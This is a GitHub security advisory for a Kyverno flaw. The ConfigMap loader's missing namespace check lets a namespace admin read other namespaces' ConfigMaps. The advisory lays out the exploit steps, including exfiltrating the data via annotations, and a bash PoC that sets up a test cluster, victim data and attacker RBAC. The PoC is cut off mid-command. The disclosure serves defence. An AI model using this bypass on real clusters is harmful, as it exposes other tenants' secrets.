GitHub Security Advisory: GHSA-cvq5-hhx3-f99p
Package: github.com/kyverno/kyverno (GO)
Severity: HIGH (CVSS 7.7)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: <= 1.17.1
Patched in: unpatched

Summary: Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)

Details:
### Summary

CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's `apiCall` context by validating the `URLPath` field. However, the **ConfigMap context loader has the identical vulnerability** — the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.

### Details

**Root cause:** The CVE-2026-22039 fix in `pkg/engine/apicall/apiCall.go` (lines 73-83) validates that `URLPath` references only the policy's own namespace using regex. However, the ConfigMap context loader at `pkg/engine/context/loaders/configmap.go` performs **no namespace validation** on the `namespace` field.

**Code path comparison:**

| | CVE-2026-22039 (fixed) | This vulnerability (unfixed) |
|--|---|---|
| **Location** | `apiCall.URLPath` field | `configMap.namespace` field |
| **Code path** | `apicall.Fetch()` → namespace regex validation | `configmap.NewConfigMapLoader()` → no validation |
| **Root cause** | Variable substitution + missing validation | Same pattern, still unpatched |

**Exploit mechanism:**
1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC)
2. Policy uses `context.configMap.namespace: "victim-ns"` to reference another namespace
3. Kyverno's admission controller service account (has cluster-wide `view` role) fetches the ConfigMap
4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations

**Affected code:** `pkg/engine/context/loaders/configmap.go` - `NewConfigMapLoader()` does not validate resolved namespace against policy namespace.

### PoC

Full reproduction (5 minutes on `kind`):

```bash
#!/bin/bash
# Setup: kind cluster + Kyverno v1.17.0
kind create cluster --name kyverno-poc --wait 60s
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait

# Create attacker and victim namespaces
kubectl create namespace attacker-ns
kubectl create namespace victim-ns

# Plant sensitive data in victim namespace
kubectl create configmap sensitive-config -n victim-ns \
    --from-literal=db-[CREDENTIAL_REDACTED]-p4ssw0rd" \
    --from-literal=[CREDENTIAL_REDACTED]"

# Create namespace admin RBAC (standard multi-tenant setup)
kubectl create serviceaccount ns-admin -n attacker-ns
kubectl create rolebinding ns-admin-binding --clusterrole=admin \
    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns
kubectl create role kyverno-policy-creator --verb=create,get,list \
    --resource=policies.kyverno.io --namespace=attacker-ns
kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \
    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns

# Verify namespace admin CANNOT directly access victim-ns
kubectl get configmap sensitive-config -n victim-ns \
    --as=system:serv